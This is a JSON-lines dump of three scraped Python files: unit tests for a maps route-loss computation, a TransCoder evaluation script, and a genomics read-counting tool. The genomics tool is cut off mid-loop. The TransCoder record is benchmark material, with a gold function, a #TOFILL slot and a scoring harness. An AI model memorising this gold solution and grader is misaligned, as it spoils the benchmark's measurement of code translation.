+{"seq_id":"29242743167","text":"from maps.analyzer.pylibs.test_tools.compare_tables import assert_equal_tables\nfrom maps.analyzer.toolkit.lib.schema import UUID, CLID, ROUTE_GEOMETRY\nfrom maps.analyzer.toolkit.lib.quality.schema import (\n    TIME_POINT, SESSION_COVERAGE, NEW_ROUTE_GEOMETRY, NEW_ROUTE_START_TIME, SESSION_START_TIME, SESSION_FINISH_TIME,\n    GEODISTANCE_FROM_SESSION_START_POINT\n)\nfrom maps.pylibs.yt.lib import unwrap_yt_error\nimport maps.analyzer.toolkit.lib.quality.route_lost as route_lost\n\n\nclass TestCaseCalcRouteLost(object):\n    def test_calc_route_lost_1(self, ytc):\n        # Two separate situations:\n        # 1. passed full route\n        # 2. route lost, then reached the finish\n        # 3. got reroute while track is absent\n        expected = \"//route_lost/calc_route_lost1.out\"\n        source = \"//route_lost/calc_route_lost1.in\"\n        ytc.run_sort(source, sort_by=self.sort_by)\n        with unwrap_yt_error():\n            result, _, _ = route_lost.calc_route_lost(\n                ytc, source, segments_tolerance_count=0, finish_tolerance=100\n            )\n        assert_equal_tables(ytc, expected, result, float_columns=[SESSION_COVERAGE.name, GEODISTANCE_FROM_SESSION_START_POINT.name])\n\n    def test_calc_route_lost_2(self, ytc):\n        # uuid1: Two session has been splitted because of reaching the end\n        # uuid2: Session has been splitted because of changing finish point\n        expected = \"//route_lost/calc_route_lost2.out\"\n        source = \"//route_lost/calc_route_lost2.in\"\n        ytc.run_sort(source, sort_by=self.sort_by)\n        with unwrap_yt_error():\n            result, _, _ = route_lost.calc_route_lost(\n                ytc, source, segments_tolerance_count=0, finish_tolerance=100\n            )\n        assert_equal_tables(ytc, expected, result, float_columns=[SESSION_COVERAGE.name], ignored_columns=[ROUTE_GEOMETRY.name, GEODISTANCE_FROM_SESSION_START_POINT.name], unordered=True)\n\n    def test_calc_route_lost_3(self, ytc):\n        # real track, you can draw it with graph (17.09.17-1)\n        expected = \"//route_lost/calc_route_lost3.out\"\n        source = \"//route_lost/calc_route_lost3.in\"\n        ytc.run_sort(source, sort_by=self.sort_by)\n        with unwrap_yt_error():\n            result, _, _ = route_lost.calc_route_lost(\n                ytc, source, segments_tolerance_count=10, finish_tolerance=100\n            )\n        assert_equal_tables(\n            ytc, expected, result, float_columns=[SESSION_COVERAGE.name], ignored_columns=[NEW_ROUTE_GEOMETRY.name, GEODISTANCE_FROM_SESSION_START_POINT.name]\n        )\n\n    def test_calc_route_lost_4(self, ytc):\n        expected_routes = \"//route_lost/calc_route_lost_routes4.out\"\n        expected_tracks = \"//route_lost/calc_route_lost_tracks4.out\"\n        source = \"//route_lost/calc_route_lost4.in\"\n        ytc.run_sort(source, sort_by=self.sort_by)\n        with unwrap_yt_error():\n            result, routes, tracks = route_lost.calc_route_lost(\n                ytc, source, segments_tolerance_count=10, finish_tolerance=100\n            )\n        assert_equal_tables(ytc, expected_routes, routes)\n        assert_equal_tables(ytc, expected_tracks, tracks)\n\n    def test_calc_route_lost_at_finish(self, ytc):\n        # uuid1: One route lost a finish\n        # uuid2: Two route lost near finish, only one should be accounted\n        expected = \"//route_lost/calc_route_lost_at_finish.out\"\n        source = \"//route_lost/calc_route_lost_at_finish.in\"\n        ytc.run_sort(source, sort_by=self.sort_by)\n        with unwrap_yt_error():\n            result, _, _ = route_lost.calc_route_lost(\n                ytc, source, segments_tolerance_count=0, finish_tolerance=100\n            )\n            ytc.run_sort(\n                expected, sort_by=[\n                    CLID.name, UUID.name, SESSION_START_TIME.name,\n                    SESSION_FINISH_TIME.name, SESSION_COVERAGE.name, NEW_ROUTE_START_TIME.name\n                ]\n            )\n        assert_equal_tables(\n            ytc, expected, result, float_columns=[SESSION_COVERAGE.name],\n            ignored_columns=[ROUTE_GEOMETRY.name, NEW_ROUTE_GEOMETRY.name, GEODISTANCE_FROM_SESSION_START_POINT.name]\n        )\n\n    def test_calc_route_lost_to_carpark_alternative(self, ytc):\n        # uuid1: Near finish, move to a carpark alternative\n        # (that has different route and route finish point, but same target)\n        expected = \"//route_lost/calc_route_lost_to_carpark_alternative.out\"\n        source = \"//route_lost/calc_route_lost_to_carpark_alternative.in\"\n        ytc.run_sort(source, sort_by=self.sort_by)\n        with unwrap_yt_error():\n            result, _, _ = route_lost.calc_route_lost(\n                ytc, source, segments_tolerance_count=0, finish_tolerance=100\n            )\n        assert_equal_tables(\n            ytc, expected, result, float_columns=[SESSION_COVERAGE.name],\n            ignored_columns=[ROUTE_GEOMETRY.name, NEW_ROUTE_GEOMETRY.name, GEODISTANCE_FROM_SESSION_START_POINT.name]\n        )\n\n    sort_by = [CLID.name, UUID.name, TIME_POINT.name, 'row_index']\n\n\ndef test_get_route_proto(ytc):\n    expected = \"//route_lost/get_route_proto.out\"\n    with unwrap_yt_error():\n        result = route_lost.get_route_proto(\n            ytc,\n            \"//route_lost/get_route_proto.in\",\n            route_lost.Types.ALL,\n        )\n    assert_equal_tables(ytc, expected, result)\n\n\ndef test_get_route_proto_type_route(ytc):\n    expected = \"//route_lost/get_route_proto_type_route.out\"\n    with unwrap_yt_error():\n        result = route_lost.get_route_proto(\n            ytc,\n            \"//route_lost/get_route_proto.in\",\n            route_lost.Types.ROUTE,\n        )\n    assert_equal_tables(ytc, expected, result)\n\n\ndef test_get_route_proto_type_parking(ytc):\n    expected = \"//route_lost/get_route_proto_type_parking.out\"\n    with unwrap_yt_error():\n        result = route_lost.get_route_proto(\n            ytc,\n            \"//route_lost/get_route_proto.in\",\n            route_lost.Types.PARKING,\n        )\n    assert_equal_tables(ytc, expected, result)\n\n\ndef test_join_events_and_routes(ytc):\n    expected = \"//route_lost/join_events_and_routes.out\"\n    with unwrap_yt_error():\n        result = route_lost.join_events_and_routes(\n            ytc,\n            \"//route_lost/join_events_table.in\",\n            \"//route_lost/join_routes_table.in\",\n        )\n    assert_equal_tables(ytc, expected, result)\n","repo_name":"Alexander-Berg/2022-tests-examples","sub_path":"maps/tests/lib/route_lost/test_route_lost.py","file_name":"test_route_lost.py","file_ext":"py","file_size_in_byte":6373,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"30416021631","text":"def f_gold ( s ) :\n    if ( s == \" \" ) :\n        return \"a\"\n    i = len ( s ) - 1\n    while ( s [ i ] == 'z' and i >= 0 ) :\n        i -= 1\n    if ( i == - 1 ) :\n        s = s + 'a'\n    else :\n        s = s.replace ( s [ i ] , chr ( ord ( s [ i ] ) + 1 ) , 1 )\n    return s\n\n\n#TOFILL\n\nif __name__ == '__main__':\n    param = [\n    ('amKIRzPiqLTIy',),\n    ('68',),\n    ('100',),\n    ('f',),\n    ('802205375',),\n    ('0111',),\n    ('GRjRYIvYwgua',),\n    ('8139910006809',),\n    ('100101',),\n    ('rw',)\n        ]\n    n_success = 0\n    for i, parameters_set in enumerate(param):\n        if f_filled(*parameters_set) == f_gold(*parameters_set):\n            n_success+=1\n    print(\"#Results: %i, %i\" % (n_success, len(param)))","repo_name":"facebookresearch/TransCoder","sub_path":"data/evaluation/geeks_for_geeks_successful_test_scripts/python/LEXICOGRAPHICALLY_NEXT_STRING.py","file_name":"LEXICOGRAPHICALLY_NEXT_STRING.py","file_ext":"py","file_size_in_byte":719,"program_lang":"python","lang":"en","doc_type":"code","stars":1646,"dataset":"github-code","pt":"3"}
+{"seq_id":"71977125201","text":"import sys\nimport pdb\nimport pysam\nimport time\nimport re\nimport scipy as sp\nimport h5py\nimport cPickle\nimport os\n\ndef parse_options(argv):\n\n    \"\"\"Parses options from the command line \"\"\"\n\n    from optparse import OptionParser, OptionGroup\n\n    parser = OptionParser()\n    required = OptionGroup(parser, 'REQUIRED')\n    required.add_option('-a', '--annotation', dest='anno', metavar='FILE', help='annotation file in GTF/GFF3 format', default='-')\n    required.add_option('-o', '--outfile', dest='outfile', metavar='FILE', help='outfile to store counts in tab delimited format [stdin]', default='-')\n    required.add_option('-A', '--alignment', dest='alignment', metavar='FILE', help='alignment in sam or bam format [stdin - sam]', default='-')\n    optional = OptionGroup(parser, 'OPTIONAL')\n    optional.add_option('-F', '--fields', dest='fields', metavar='STRING', help='annotation fields [exon], comma separated', default='exon')\n    optional.add_option('-f', '--filters', dest='filters', metavar='STRING', help='file containing filter maps in hdf5 [-]', default='-')\n    optional.add_option('-n', '--filternames', dest='filternames', metavar='STRING', help='list of filter names to use, comma separated, names must be present in t filter hdf5 [names in hdf5 in lex order]', default='-')\n    optional.add_option('-t', '--filtertypes', dest='filtertypes', metavar='STRING', help='list of filter types to use, comma separated, either one or same number as filternames, possible types: any, start, all [any]', default='-')\n    optional.add_option('-c', '--filtercombs', dest='filtercombs', metavar='STRING', help='list of filter-index combinations: 0,2,4:0,1:... (index relative to filter name list) [one filter in hdf5 at a time]', default='-')\n    optional.add_option('-m', '--mask_gene_overlap', dest='mask_gene_overlap', action='store_true', help='mask genomic positions that are annotated with different genes [off]', default=False)\n    optional.add_option('-M', '--mask_alternative_overlap', dest='mask_alternative_overlap', action='store_true', help='mask genomic positions that are annotated with both intronic and exonic positions [off]', default=False)\n    optional.add_option('-b', '--bam_force', dest='bam_force', action='store_true', help='force BAM as input even if file ending is different from .bam - does not work for STDIN', default=False)\n    optional.add_option('-B', '--best_only', dest='best_only', action='store_true', help='count only the best alignment per read [off]', default=False)\n    optional.add_option('-v', '--verbose', dest='verbose', action='store_true', help='verbosity', default=False)\n    parser.add_option_group(required)\n    parser.add_option_group(optional)\n\n    (options, args) = parser.parse_args()\n    \n    if len(argv) < 2:\n        parser.print_help()\n        sys.exit(2)\n\n    return options\n\ndef compress_g(g, idx2gene):\n    \"\"\"Find reduced g\"\"\"\n\n    g = sorted(g, key = lambda x: len(idx2gene[x]))[::-1]\n    g_ = [g[0]]\n    seen = idx2gene[g[0]]\n\n    for gg in g[1:]:\n        if not all([i in seen for i in idx2gene[gg]]):\n            g_.append(gg)\n            seen += idx2gene[gg]\n    \n    return sp.array(g_)\n\ndef valid_after_filter(filtermap, filtertype, positions):\n    \"\"\"Description\"\"\"\n\n    if filtertype == 'all':\n        return not sp.all(filtermap[:, positions])\n    elif filtertype == 'start':\n        return not filtermap[:, positions[0]]\n    elif filtertype == 'any':\n        return not sp.any(filtermap[:, positions])\n    else:\n        return False\n\ndef get_filter_settings(options):\n    \"\"\"Parse filter settings from command line options.\"\"\" \n    \n    if options.filternames != '-':\n        filter_names = options.filternames.split(',')\n    else:\n        hdf_in = h5py.File(options.filters, 'r')\n        filter_names = sorted(hdf_in.keys())\n        hdf_in.close()\n\n    if options.filtercombs != '-':\n        filter_combs = []\n        for fc in options.filtercombs.split(':'):\n            filter_combs.append(fc.split(','))\n            filter_combs[-1] = [int(x) for x in filter_combs[-1]]\n    else:\n        filter_combs = [[x] for x in range(len(filter_names))]\n\n    if options.filtertypes == '-':\n        filter_types = ['any'] * len(filter_names)\n    else:\n        ft = options.filtertypes.split(',')\n        if len(ft) == 1:\n            filter_types = [ft[0]] * len(filter_names)\n        else:\n            assert(len(ft) == len(filter_names))\n            filter_types = ft\n    \n    return (filter_names, filter_combs, filter_types)\n    \n\ndef get_tags_gff(tagline):\n    \"\"\"Extract tags from given tagline\"\"\"\n\n    tags = dict()\n    for t in tagline.split(';'):\n        tt = t.split('=')\n        tags[tt[0]] = tt[1]\n    return tags\n\n\ndef get_tags_gtf(tagline):\n    \"\"\"Extract tags from given tagline\"\"\"\n\n    tags = dict()\n    for t in tagline.strip(';').split(';'):\n        tt = t.strip(' ').split(' ')\n        tags[tt[0]] = tt[1].strip('\"')\n    return tags\n\n\ndef parse_anno_from_gff3(options, contigs):\n    \"\"\"This function reads the gff3 input file and returns the information in an\n       internal data structure\"\"\"\n\n    anno = dict()\n    idx2gene = dict()\n    gene2idx = dict()\n\n    if options.verbose:\n        print >> sys.stderr, \"Parsing annotation from %s ...\" % options.anno\n    \n    ### initial run to get the transcript to gene mapping\n    if options.verbose:\n        print >> sys.stderr, \"... init structure\"\n\n    trans2gene = dict() ### dict with: keys = transcript IDs, values = gene IDs\n    for line in open(options.anno, 'r'):\n        if line[0] == '#':\n            continue\n        sl = line.strip().split('\\t')\n        if sl[2] in ['mRNA', 'transcript', 'mrna', 'miRNA', 'tRNA', 'snRNA', 'snoRNA', 'ncRNA', 'mRNA_TE_gene', 'rRNA', 'pseudogenic_transcript', 'transposon_fragment']:\n            tags = get_tags_gff(sl[8])\n            trans2gene[tags['ID']] = tags['Parent']\n\n    ### init genome structure\n    for c in contigs:\n        if options.verbose:\n            print >> sys.stderr, 'reserving memory for contig %s of len %s' % (c, contigs[c])\n        anno[c] = sp.zeros((contigs[c] + 1,), dtype = 'int32')\n\n    ### init list of  considered GFF fields\n    fields = options.fields.split(',')\n\n    ### generate a list of exons with attached gene/transcript information\n    ### one list per chromsome\n    counter = 1\n    gene_counter = 2 ### 0 is default for no coverage and 1 is mask for overlap\n\n    exons = dict() # contains the exon list per transcript, only need this for mask_alternative_overlap\n\n    t0 = time.time()\n    for line in open(options.anno, 'r'):\n        if options.verbose and counter % 10000 == 0:\n            print >> sys.stderr, '.',\n            if counter % 100000 == 0:\n                t1 = time.time() - t0\n                print >> sys.stderr, \"%i - took %.2f secs\" % (counter, t1)\n                t0 = time.time()\n        counter += 1        \n\n        if line[0] == '#':\n            continue\n        sl = line.strip().split('\\t')\n        \n        if not sl[2] in fields:\n            continue\n\n        tags = get_tags_gff(sl[8])\n        if sl[2] == 'exon':\n            trans_id = tags['Parent']\n            gene_id = trans2gene[trans_id]\n        else:\n            print >> sys.stderr, 'Currently only >exon< is supported'\n            sys.exit(1)\n\n        if not gene2idx.has_key(tuple([gene_id])):\n            gene2idx[tuple([gene_id])] = gene_counter\n            idx2gene[gene_counter] = tuple([gene_id])\n            gene_counter += 1\n\n        ### store for each position of the transcriptome a tuple containing all overlapping gene IDs\n        ### assume positions are 1 based and in closed intervals\n        try:\n            start = int(sl[3]) - 1\n        except ValueError:\n            start = 0\n        try:\n            stop = int(sl[4])\n        except ValueError:\n            stop = 1\n\n        if not sl[0] in exons:\n            exons[sl[0]] = dict()\n\n        if options.mask_alternative_overlap:\n            try:\n                exons[sl[0]][trans_id].append([start, stop])\n            except KeyError:\n                exons[sl[0]][trans_id] = [[start, stop]]\n\n        ### check, if there is already a different gene ID present, form a combination ID\n        if sp.any(anno[sl[0]][start:stop] > 0):\n            for p in range(start, stop):\n                if anno[sl[0]][p] == 0:\n                    new_set = tuple([gene_id])\n                else:\n                    new_set = tuple(set(idx2gene[anno[sl[0]][p]]) | set([gene_id]))\n                try:\n                    anno[sl[0]][p] = gene2idx[new_set]\n                except KeyError:\n                    anno[sl[0]][p] = gene_counter\n                    gene2idx[new_set] = gene_counter\n                    idx2gene[gene_counter] = new_set\n                    gene_counter += 1\n        else:\n            anno[sl[0]][start:stop] = sp.array([gene2idx[tuple([gene_id])]] * (stop - start), dtype = 'int32')\n    if options.verbose:\n        print >> sys.stderr, \"... done\"\n\n    ### mask all positions in the genome, where we have more than one annotated gene\n    if options.mask_gene_overlap:\n        total_pos = 0\n        total_masked = 0\n        if options.verbose:\n            print >> sys.stderr, '\\nMasking positions due to gene overlap:'\n        for c in anno:\n            masked_pos = 0\n            p_idx = sp.where(anno[c] > 1)[0]\n            pos = p_idx.shape[0]\n            for p in p_idx:\n                if len(idx2gene[anno[c][p]]) > 1:\n                    anno[c][p] = 1\n                    masked_pos += 1\n            total_pos += pos\n            total_masked += masked_pos\n            if options.verbose:\n                print >> sys.stderr, '\\t%s: %i (%i) masked (total) - %.2f %%' % (c, masked_pos, pos, masked_pos / float(max(1, pos)) * 100)\n        if options.verbose:\n            print >> sys.stderr, \"Total positions: %i\\nMasked positions: %i (%.2f %%)\" % (total_pos, total_masked, total_masked / float(max(1, total_pos)) * 100)\n            print >> sys.stderr, \"... done\"\n\n    ### mask all positions in the genome, where exonic and intronic positions are annotated\n    if options.mask_alternative_overlap:\n        if options.verbose:\n            print >> sys.stderr, '\\nMasking positions due to exon/intron overlap:'\n        for c in exons:\n            masked_pos = 0\n            for t in exons[c]:\n                if len(exons[c][t]) < 2:\n                    continue\n                ### pre-process exon\n                tmp = sp.array(exons[c][t], dtype='int')\n                s_idx = sp.argsort(tmp[:, 0])\n                tmp = tmp[s_idx, :]\n                ### mask positions that are intronic and exonic\n                for e in range(1, tmp.shape[0]):\n                    p_idx = sp.where(anno[c][tmp[e - 1, 1] + 1:tmp[e, 0]] > 1)[0]\n                    if p_idx.shape[0] > 0:\n                        anno[c][p_idx + tmp[e - 1, 1] + 1] = 1\n                        masked_pos += p_idx.shape[0]\n            total_masked += masked_pos\n            if options.verbose:\n                print >> sys.stderr, '\\t%s: %i pos masked' % (c, masked_pos)\n        if options.verbose:\n            print >> sys.stderr, 'Masked positions: %i' % total_masked\n            print >> sys.stderr, \"... done\"\n\n    \n    if options.verbose:\n        print >> sys.stderr, \"Storing exon array in HDF5 %s ...\" % (options.anno_hdf5 + '.exons.hdf5')\n\n    ### store annotation in hdf5\n    hdf_out = h5py.File(options.anno_hdf5 + '.exons.hdf5', 'w')\n    for c in anno.keys():\n        hdf_out.create_dataset(name = c, data = anno[c])\n    hdf_out.close()\n\n    if options.verbose:\n        print >> sys.stderr, \"... pickling gene ID map\"\n\n    cPickle.dump((idx2gene, gene2idx), open(options.anno_hdf5 + '.pickle', 'w'))\n\n    if options.verbose:\n        print >> sys.stderr, \"... done\"\n\n    return (anno, idx2gene, gene2idx)\n\ndef parse_anno_from_gtf(options, contigs):\n    \"\"\"This function reads the gtf input file and returns the information in an\n       internal data structure\"\"\"\n\n    anno = dict()\n    idx2gene = dict()\n    gene2idx = dict()\n\n    if options.verbose:\n        print >> sys.stderr, \"Parsing annotation from %s ...\" % options.anno\n    \n    ### init genome structure\n    for c in contigs:\n        if options.verbose:\n            print >> sys.stderr, 'reserving memory for chr %s of len %s' % (c, contigs[c])\n        anno[c] = sp.zeros((contigs[c] + 1, ), dtype = 'int32')\n\n    ### init list of  considered GFF fields\n    fields = options.fields.split(',')\n\n    ### generate a list of exons with attached gene/transcript information\n    ### one list per chromsome\n    counter = 1\n    gene_counter = 2 ### 0 is default for no coverage and 1 is mask for overlap\n\n    exons = dict()\n\n    t0 = time.time()\n    for line in open(options.anno, 'r'):\n        if options.verbose and counter % 10000 == 0:\n            print >> sys.stderr, '.',\n            if counter % 100000 == 0:\n                t1 = time.time() - t0\n                print >> sys.stderr, \"%i - took %.2f secs\" % (counter, t1)\n                t0 = time.time()\n        counter += 1        \n\n        if line[0] == '#':\n            continue\n        sl = line.strip().split('\\t')\n        \n        if not sl[2] in fields:\n            continue\n\n        if sl[2] != 'exon':\n            print >> sys.stderr, 'Currently only >exon< is supported'\n            sys.exit(1)\n\n        tags = get_tags_gtf(sl[8])\n        gene_id = tags['gene_id']\n        trans_id = tags['transcript_id']\n\n        if not gene2idx.has_key(tuple([gene_id])):\n            gene2idx[tuple([gene_id])] = gene_counter\n            idx2gene[gene_counter] = tuple([gene_id])\n            gene_counter += 1\n\n        try:\n            start = int(sl[3]) - 1\n        except ValueError:\n            start = 0\n        try:\n            stop = int(sl[4])\n        except ValueError:\n            stop = 1\n\n        chrm = sl[0]\n        if chrm == 'chrM_rCRS':\n            chrm = 'chrM'\n\n        if not chrm in exons:\n            exons[chrm] = dict()\n\n        if options.mask_alternative_overlap:\n            try:\n                exons[chrm][trans_id].append([start, stop])\n            except KeyError:\n                exons[chrm][trans_id] = [[start, stop]]\n\n        ### check, if there is already a different gene ID present, form a combination ID\n        if sp.any(anno[chrm][start:stop] > 0):\n            for p in range(start, stop):\n                if anno[chrm][p] == 0:\n                    new_set = tuple([gene_id])\n                else:\n                    new_set = tuple(set(idx2gene[anno[chrm][p]]) | set([gene_id]))\n                try:\n                    anno[chrm][p] = gene2idx[new_set]\n                except KeyError:\n                    anno[chrm][p] = gene_counter\n                    gene2idx[new_set] = gene_counter\n                    idx2gene[gene_counter] = new_set\n                    gene_counter += 1\n        else:\n            anno[chrm][start:stop] = sp.array([gene2idx[tuple([gene_id])]] * (stop - start), dtype = 'int32')\n    if options.verbose:\n        print >> sys.stderr, \"... done\"\n\n    ### mask all positions in the genome, where we have more than one annotated gene\n    if options.mask_gene_overlap:\n        total_pos = 0\n        total_masked = 0\n        if options.verbose:\n            print >> sys.stderr, '\\nMasking positions due to gene overlap:'\n        for c in anno:\n            masked_pos = 0\n            p_idx = sp.where(anno[c] > 1)[0]\n            pos = p_idx.shape[0]\n            #print >> sys.stderr, 'found %i positions' % p_idx.shape[0]\n            for p in p_idx:\n                if len(idx2gene[anno[c][p]]) > 1:\n                    anno[c][p] = 1\n                    masked_pos += 1\n            total_pos += pos\n            total_masked += masked_pos\n            if options.verbose:\n                print >> sys.stderr, '\\t%s: %i (%i) masked (total) - %.2f %%' % (c, masked_pos, pos, masked_pos / float(max(1, pos)) * 100)\n        if options.verbose:\n            print >> sys.stderr, \"Total positions: %i\\nMasked positions: %i (%.2f %%)\" % (total_pos, total_masked, total_masked / float(max(1, total_pos)) * 100)\n            print >> sys.stderr, \"... done\"\n\n    ### mask all positions in the genome, where exonic and intronic positions are annotated\n    if options.mask_alternative_overlap:\n        total_masked = 0\n        if options.verbose:\n            print >> sys.stderr, '\\nMasking positions due to exon/intron overlap:'\n        for c in exons:\n            masked_pos = 0\n            for t in exons[c]:\n                if len(exons[c][t]) < 2:\n                    continue\n                ### pre-process exon\n                tmp = sp.array(exons[c][t], dtype='int')\n                s_idx = sp.argsort(tmp[:, 0])\n                tmp = tmp[s_idx, :]\n                ### mask positions that are intronic and exonic\n                for e in range(1, tmp.shape[0]):\n                    p_idx = sp.where(anno[c][tmp[e - 1, 1] + 1:tmp[e, 0]] > 1)[0]\n                    if p_idx.shape[0] > 0:\n                        anno[c][p_idx + tmp[e - 1, 1] + 1] = 1\n                        masked_pos += p_idx.shape[0]\n            total_masked += masked_pos\n            if options.verbose:\n                print >> sys.stderr, '\\t%s: %i pos masked' % (c, masked_pos)\n        if options.verbose:\n            print >> sys.stderr, 'Masked positions: %i' % total_masked\n            print >> sys.stderr, \"... done\"\n\n    if options.verbose:\n        print >> sys.stderr, \"Storing exon array in HDF5 %s ...\" % (options.anno_hdf5 + '.exons.hdf5')\n\n    ### store annotation in hdf5\n    hdf_out = h5py.File(options.anno_hdf5 + '.exons.hdf5', 'w')\n    for c in anno.keys():\n        hdf_out.create_dataset(name = c, data = anno[c])\n    hdf_out.close()\n\n    if options.verbose:\n        print >> sys.stderr, \"... pickling gene ID map\"\n\n    cPickle.dump((idx2gene, gene2idx), open(options.anno_hdf5 + '.pickle', 'w'))\n\n    if options.verbose:\n        print >> sys.stderr, \"... done\"\n\n    return (anno, idx2gene, gene2idx)\n\ndef read_header(options, infile):\n    \"\"\"Parses the alignment header and extracts contig information\"\"\"\n\n    contigs = dict()\n    line = ''\n    if options.is_bam:\n        #chrm = infile.getrname(line.tid).replace('chr', '')\n        for i in range(len(infile.references)):\n            if infile.references[i] == 'chrM_rCRS':\n                chr_key = 'chrM'\n            else:\n                chr_key = infile.references[i]\n\n            if contigs.has_key(chr_key):\n                if not contigs[chr_key] == infile.lengths[i]:\n                    print >> sys.stderr, \"Headers in BAM files have inconsistent contig lengths. Stopping ...\"\n                    sys.exit(1)\n            else:\n                contigs[chr_key] = infile.lengths[i]\n    else:\n        for line in infile:\n            if not line[0] == '@':\n                if len(contigs) == 0:\n                    print >> sys.stderr, \"No header found in %s. Stopping.\" % file\n                    sys.exit(1)\n                else:\n                    break\n\n            sl = line.strip().split('\\t')\n\n            if not sl[0] == '@SQ':\n                continue\n\n            if sl[1][3:] == 'chrM_rCRS':\n                chr_key = 'chrM'\n            else:\n                chr_key = sl[1][3:]\n            if contigs.has_key(chr_key):\n                if not contigs[chr_key] == int(sl[2][3:]):\n                    print >> sys.stderr, \"Headers in BAM files have inconsistent contig lengths. Stopping ...\"\n                    sys.exit(1)\n            else:\n                contigs[chr_key] = int(sl[2][3:])\n                        \n    return (contigs, line)\n\ndef compress_counts(count_list, genes):\n    \"\"\"Takes a list of gene IDs and compresses them to a list of tuples\"\"\"\n\n    a = 0\n    g = 0\n    compressed_list = []\n\n    print >> sys.stderr, \" [compressing gene list] \",\n\n    while g < len(genes):\n        while g < len(genes) and (a == len(count_list) or genes[g] < count_list[a]):\n            g += 1\n        if g < len(genes):\n            b = a\n            while a < len(count_list) and genes[g] == count_list[a]:\n                a += 1\n            compressed_list.append([genes[g], a - b])\n            g += 1\n    return compressed_list\n    \ndef condense_compressed_counts(compressed_counts):\n\n    t0 = time.time()\n    for idx in range(len(compressed_counts)):\n        compressed_counts[idx] = sorted(compressed_counts[idx], key = lambda x: x[0])\n        for i in range(1, len(compressed_counts[idx])):\n            if compressed_counts[idx][i-1][0] == compressed_counts[idx][i][0]:\n                compressed_counts[idx][i][1] += compressed_counts[idx][i-1][1]\n                compressed_counts[idx][i-1][1] = -1\n        compressed_counts[idx] = [x for x in compressed_counts[idx] if x[1] >= 0]\n        t1 = time.time() - t0\n        print >> sys.stderr, \"... done. took %.2f secs\" % t1\n\n    return compressed_counts\n\n\ndef main():\n    \"\"\"Main Program Procedure\"\"\"\n    \n    options = parse_options(sys.argv)\n    contigs = dict()\n\n    options.anno_hdf5 = options.anno\n    if options.mask_gene_overlap:\n        options.anno_hdf5 += '.mask_go'\n    if options.mask_alternative_overlap:\n        options.anno_hdf5 += '.mask_ao'\n\n    time_total = time.time()\n\n    ### get filters\n    filters = []\n    if options.filters != '-':\n        ### get filter names\n        (filter_names, filter_combs, filter_types) = get_filter_settings(options)\n\n        ### subset to filter names that occur in filter_combs\n        filter_combs_flat = list(set([j for sublist in filter_combs for j in sublist]))\n        filter_names = [filter_names[i] for i in range(len(filter_names)) if i in filter_combs_flat]\n        filter_types = [filter_types[i] for i in range(len(filter_types)) if i in filter_combs_flat]\n        filter_combs = [[filter_combs_flat.index(x) for x in j] for j in filter_combs]\n\n        hdf_in = h5py.File(options.filters, 'r')\n        for fn in filter_names:\n            filters.append(dict())\n            for c in hdf_in[fn]:\n                filters[-1][c] = hdf_in[fn][c][:]\n        hdf_in.close()\n    else:\n        filter_names = []\n        filter_combs = []\n        filter_types = []\n\n    ### iterate over alignment file(s)\n    for fname in options.alignment.split(','):\n        options.is_bam = False\n        ### open file stream\n        if fname == '-':\n            infile = sys.stdin\n        elif (len(fname) > 3 and fname[-3:] == 'bam') or options.bam_force:\n            infile = pysam.Samfile(fname, 'rb')\n            options.is_bam = True\n        else:\n            infile = open(fname, 'r')\n\n        if options.verbose:\n            if options.alignment == '-':\n                print >> sys.stderr, \"Reading alignment from stdin\\n\"\n            else:\n                print >> sys.stderr, \"Reading alignment from %s\\n\" % options.alignment\n\n        ### get contigs from alignment data\n        if len(contigs) == 0:\n            (contigs, lastline) = read_header(options, infile)\n            ### TODO handle lastline (line after header) for SAM input\n\n            ### parse annotation into memory or read from hdf5 is availabl\n            if os.path.isfile(options.anno_hdf5 + '.pickle') and os.path.isfile(options.anno_hdf5 + '.exons.hdf5'):\n                if options.verbose:\n                    t0 = time.time()\n                    print >> sys.stderr, 'Loading annotation from %s ...' % (options.anno_hdf5 + '.pickle')\n                (idx2gene, gene2idx) = cPickle.load(open(options.anno_hdf5 + '.pickle', 'r'))\n\n                anno = dict()\n                hdf_in = h5py.File(options.anno_hdf5 + '.exons.hdf5', 'r')\n                for c in hdf_in:\n                    anno[c] = hdf_in[c][:]\n                    if options.verbose:\n                        t1 = time.time() - t0\n                        print >> sys.stderr, \"... %s took %i secs\" % (c, t1)\n                        t0 = time.time()\n                hdf_in.close()\n            else:\n                if options.anno[-4:] == 'gff3' or options.anno[-3:] == 'gff':\n                    ### read annotation from GFF3\n                    (anno, idx2gene, gene2idx) = parse_anno_from_gff3(options, contigs)\n                else:\n                    ### read annotation from GTF\n                    (anno, idx2gene, gene2idx) = parse_anno_from_gtf(options, contigs)\n\n        ### count reads\n        counter = 1\n        t0 = time.time()\n        tmp_count = [[] for i in range(1 + len(filter_combs))]\n        compressed_counts = [[] for i in range(1 + len(filter_combs))]\n        genes = sorted(idx2gene.keys())\n        for line in infile:\n            if counter % 10000 == 0:\n                print >> sys.stderr, '.',\n                if counter % 100000 == 0:\n                    if len(tmp_count[0]) > 5000000:\n                        for idx in range(len(tmp_count)):\n                            compressed_counts[idx].extend(compress_counts(sorted(tmp_count[idx]), genes))\n                        tmp_count = [[] for i in range(1 + len(filter_combs))]\n                    t1 = time.time() - t0\n                    print >> sys.stderr, '%i (last 100000 took %.2f secs)' % (counter, t1) \n                    t0 = time.time()\n\n            counter += 1\n\n            if options.is_bam:\n\n                if line.is_unmapped:\n                    continue\n\n                if options.best_only and line.is_secondary:\n                    continue\n\n                #chrm = infile.getrname(line.tid).replace('chr', '')\n                chrm = infile.getrname(line.tid)\n                if chrm == 'chrM_rCRS':\n                    chrm = 'chrM'\n                pos = line.pos - 1\n                broken = False\n\n                #read_pos = line.positions --> alternative to code below\n                read_pos = []\n                for o in line.cigar:\n                    if o[0] in [0, 2]:\n                        read_pos.extend(range(pos, pos + o[1]))\n\n                    if not o[0] in [1, 5]:\n                        pos += o[1]\n\n                try:\n                    g = sp.unique(anno[chrm][read_pos])    \n                except IndexError:\n                    try:\n                        read_pos = read_pos[(read_pos >= 0) & (read_pos < anno[chrm].shape[0])]\n                        g = sp.unique(anno[chrm][read_pos])    \n                    except:\n                        continue\n\n                g = g[g > 1]\n                if g.shape[0] == 0:\n                    continue\n\n                ### resolve overlapping genes if we haven't masked them\n                if not options.mask_gene_overlap and g.shape[0] > 1:\n                    g = compress_g(g, idx2gene)\n                tmp_count[0].extend(g)\n\n                ### get validity for each filter\n                if len(filter_names) > 0:\n                    is_valid = sp.ones((len(filter_names), ), dtype = 'bool')\n                    for 